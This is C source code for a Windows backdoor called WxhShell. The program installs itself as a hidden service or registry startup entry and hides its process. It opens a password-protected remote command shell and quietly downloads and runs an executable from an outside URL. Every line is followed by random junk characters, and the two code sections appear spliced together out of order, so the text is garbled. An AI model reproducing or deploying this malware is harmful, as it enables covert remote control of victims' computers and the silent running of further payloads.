DWORD BasePriority; g.Hio.fVd
ULONG UniqueProcessId; :wgfW .w
ULONG InheritedFromUniqueProcessId; -g`IH-B
} PROCESS_BASIC_INFORMATION; VS/;aG$&y
PK rek
PROCNTQSIP NtQueryInformationProcess; $R^lo$(
#2%([w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M2T| "Q"=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [B6DC`M
^lO76Dz~a
HANDLE hProcess; d$;/T('
PROCESS_BASIC_INFORMATION pbi; s\0K o1
fUcLfnr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .`C
V^\
if(NULL == hInst ) return 0; 8V5a%2eV
;6DnId2Zh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LAZVW</
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [>w%CY<Fd
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 d ;|=K
h{]#ag5`
if (!NtQueryInformationProcess) return 0; b1!@v+
uMFV%+I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %%g-GyP
1
if(!hProcess) return 0; {K7YTLWY
0rzVy/Z(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ 6:ww/
m4/}Jx[
CloseHandle(hProcess); p#H]\P'
v$$]Gv(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m@oUvxcd
if(hProcess==NULL) return 0; [BXyi
uu}-"/<~7
HMODULE hMod; T{-2fp8r[
char procName[255]; 3eg5oAZ)G8
unsigned long cbNeeded; W^xZ+]
Zg $Tf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kX8=cL9G
l_+A5Xy
CloseHandle(hProcess); vg^Myn
O{n<WQd{CY
if(strstr(procName,"services")) return 1; // 以服务启动 5N1 K~".
=s[&;B`s
return 0; // 注册表启动 Gc;B[/:
} o'qm82*
=
vR]mSX3)?
// 主模块 u@D.i4U
int StartWxhshell(LPSTR lpCmdLine) k!E"wJkpz
{ F";FG 0
SOCKET wsl; 1VfSSO
BOOL val=TRUE; 5G?.T?
int port=0; W/v|8-gcK
struct sockaddr_in door; `s}BXKIv}
"T*I|
if(wscfg.ws_autoins) Install(); F!~l
MpuE
$^Ca:duk
port=atoi(lpCmdLine); /2h][zrZ[.
G?[-cNdk
if(port<=0) port=wscfg.ws_port; BW71 s
.Z5[_'T
WSADATA data; $Sb@zLi)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qeMv
Vf
od,tfLw4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p\+6"28{_~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pF='jj51
door.sin_family = AF_INET; nW&$~d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rv?!y8\
door.sin_port = htons(port); 2nx9#B*/T
vPsq<l}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
^Fp=y,D
closesocket(wsl); ,o)4p\nV
return 1; VR v02m5
} AM?Ec1S
#a
5bBCpNa
if(listen(wsl,2) == INVALID_SOCKET) { DR{]sG
closesocket(wsl); 6S_y%8Fv&[
return 1; 0UD"^zgY
} 1"$R 3@s;
Wxhshell(wsl); tDU}rI8?
WSACleanup(); ;z0"Ox=7
oeGS
return 0; <_f`$z
vXf:~G]
} (txt8q
i+RD]QL
// 以NT服务方式启动 'Q`C[*c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X X&K=<,Ja
{ m >hovikY*
DWORD status = 0; ) MBS
DWORD specificError = 0xfffffff; "VQ|Ed
MHNe>C-!q
serviceStatus.dwServiceType = SERVICE_WIN32; t
2G1[j!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u#VweXyU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8GW ut=D
serviceStatus.dwWin32ExitCode = 0; SW=aHM
serviceStatus.dwServiceSpecificExitCode = 0; *2#FRA#q
serviceStatus.dwCheckPoint = 0; 6puVw-X
serviceStatus.dwWaitHint = 0; z'e1"Y.
O3&|}:<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <O
bH f`Q
if (hServiceStatusHandle==0) return; {]@Qu" M
-3`Isv
status = GetLastError(); ^Yr|K
if (status!=NO_ERROR) :o<N!*pT
{ H8<m9zDvl
serviceStatus.dwCurrentState = SERVICE_STOPPED; !?n50
serviceStatus.dwCheckPoint = 0; 7 BK46x
serviceStatus.dwWaitHint = 0; +/}_%Cf8
serviceStatus.dwWin32ExitCode = status; 7p
!zp 9|
serviceStatus.dwServiceSpecificExitCode = specificError; H-m`Dh5{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &]*|6cR$E
return; aa!a&L|!
} }JH`'&3
-7,vtd[h
serviceStatus.dwCurrentState = SERVICE_RUNNING; gb9[Meg'
serviceStatus.dwCheckPoint = 0; i&1U4q
serviceStatus.dwWaitHint = 0; _&K\D
p&@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gTuX *7w
} XX:q|?6_ 4
V-:`+&S{^
// 处理NT服务事件,比如:启动、停止
sxt`0oE
VOID WINAPI NTServiceHandler(DWORD fdwControl) R;.d/U|av
{ -D;lS
6
switch(fdwControl) %p}qO^%M
{ ha5 bD%
case SERVICE_CONTROL_STOP: |9x%gUm
serviceStatus.dwWin32ExitCode = 0; jPj2
serviceStatus.dwCurrentState = SERVICE_STOPPED; KKV)DExv?
serviceStatus.dwCheckPoint = 0; b_ypsGE]5!
serviceStatus.dwWaitHint = 0; "u,sRbL
{ tw]/,>\G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {QW-g
} #,)PN @P
return; 3^'#ny?l
case SERVICE_CONTROL_PAUSE: G u6[{u
serviceStatus.dwCurrentState = SERVICE_PAUSED; >]^>gUmq
break; Io09W ^
case SERVICE_CONTROL_CONTINUE: 98jD"*W5
serviceStatus.dwCurrentState = SERVICE_RUNNING; .r(^h/IF
break; h1E
PaL
case SERVICE_CONTROL_INTERROGATE: FBcm;cjH
break; M,ppCHy/$
}; ?C
FS}v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Yn;G7cK
} N*HH,m&
u1wg
C#
// 标准应用程序主函数 kz$(V(k<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >QA/Mi~R
{ 'G52<sF
2(hvv-
// 获取操作系统版本 p EY>A_F
OsIsNt=GetOsVer(); Q;=6ag'
GetModuleFileName(NULL,ExeFile,MAX_PATH); HUK"OH
(K<Z=a
// 从命令行安装 Tln9q0"W
if(strpbrk(lpCmdLine,"iI")) Install(); w<v1N
_F3KFQ4,S-
// 下载执行文件 7:#
if(wscfg.ws_downexe) { O{Dm;@J-aM
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *O!T!J
WinExec(wscfg.ws_filenam,SW_HIDE); >pN;J)H
} 7N!tp,?
_w\Y{(k
if(!OsIsNt) { q"P5,:W
// 如果时win9x,隐藏进程并且设置为注册表启动 _s2m-jm7
HideProc(); {(_B
StartWxhshell(lpCmdLine); H\ {E%7^h-
} fm[_@L%
x
else v/]Qq
if(StartFromService()) lt&$8jh
// 以服务方式启动 4 0p3Rv
StartServiceCtrlDispatcher(DispatchTable); r[6#G2
else U.HoFf+HN
// 普通方式启动 .MzOLv
StartWxhshell(lpCmdLine); mu 2
A% "7
\nrgAC-b
return 0; =DGn,i9
} 44Q6vb?
'" ^ B&W
UwZu:[T6H
:U!'U;uQ
=========================================== ]jZiW1C*a
(zjz]@qJ
bELIRM9
s*aH`M7^0
+Gk!
t]dy
'2wXV;`
" ,}eRnl\
-J-3_9I
#include <stdio.h> w906aV*s
#include <string.h> ;Fx')
#include <windows.h> %~][?Y ><
#include <winsock2.h> 3Gc ,I:\
#include <winsvc.h> TP{>O%b
#include <urlmon.h> S`ax*`
hO5K\QnRL
#pragma comment (lib, "Ws2_32.lib") "PZYgl
#pragma comment (lib, "urlmon.lib")
pESB Il
{E;2&d
#define MAX_USER 100 // 最大客户端连接数 w> Tyk#7lw
#define BUF_SOCK 200 // sock buffer IXbdS9,>F
#define KEY_BUFF 255 // 输入 buffer IlcNT_
5a8
EC^Ev|PB\u
#define REBOOT 0 // 重启 b24NL'jm
#define SHUTDOWN 1 // 关机 .jvSAV5B
3'?h;`v\Lo
#define DEF_PORT 5000 // 监听端口 om XBnzT
)j{WeG7L
#define REG_LEN 16 // 注册表键长度 JZs|~@
#define SVC_LEN 80 // NT服务名长度 ,k4z;
>2]Eaw&W
// 从dll定义API *i=?0M4S
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w{_e"N
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +A]&AkTw
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z}sG3p
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d9`3EP)n
B
rez&3[
// wxhshell配置信息 8O"x;3I9
struct WSCFG { kHt!S9r
int ws_port; // 监听端口 &:;/]cwj
char ws_passstr[REG_LEN]; // 口令 H arFo
int ws_autoins; // 安装标记, 1=yes 0=no 3X88x-3
char ws_regname[REG_LEN]; // 注册表键名 DQ}_9?3
char ws_svcname[REG_LEN]; // 服务名 @4G.(zW
char ws_svcdisp[SVC_LEN]; // 服务显示名 r24\DvS
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZcUh[5:|
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V-?sek{;
int ws_downexe; // 下载执行标记, 1=yes 0=no WE+sFaKq-
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2(+RIu0d
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m1^dT_7Z
&(5^vw<0
}; 5W?yj>JR
g28S3 '2
// default Wxhshell configuration wQF&GGYR
struct WSCFG wscfg={DEF_PORT, <7vI h0
"xuhuanlingzhe", ",MK'\E
1, aX>4Tw
"Wxhshell", ?)A]q'
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"Wxhshell", x:f|3"\s
"WxhShell Service", 4@/ q_*3o
"Wrsky Windows CmdShell Service",
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"Please Input Your Password: ", sDzD
8as
1, W _PM!>8`
"http://www.wrsky.com/wxhshell.exe", _9}x2uO~
"Wxhshell.exe" m NUN6qVP~
}; LU-#=1Q
k7z(Gbzu
// 消息定义模块 lU&`r:1>_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "@c';".|
char *msg_ws_prompt="\n\r? for help\n\r#>"; gt2>nTJz.Z
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {u(}ED#p
char *msg_ws_ext="\n\rExit."; x?k
char *msg_ws_end="\n\rQuit."; A^T~@AO
char *msg_ws_boot="\n\rReboot..."; SX_kr^#
char *msg_ws_poff="\n\rShutdown..."; <6d{k[7fz)
char *msg_ws_down="\n\rSave to "; +XU$GSw3(
M^|"be~{'
char *msg_ws_err="\n\rErr!"; Q9Y9{T
char *msg_ws_ok="\n\rOK!"; MFc=B`/X
!7O=<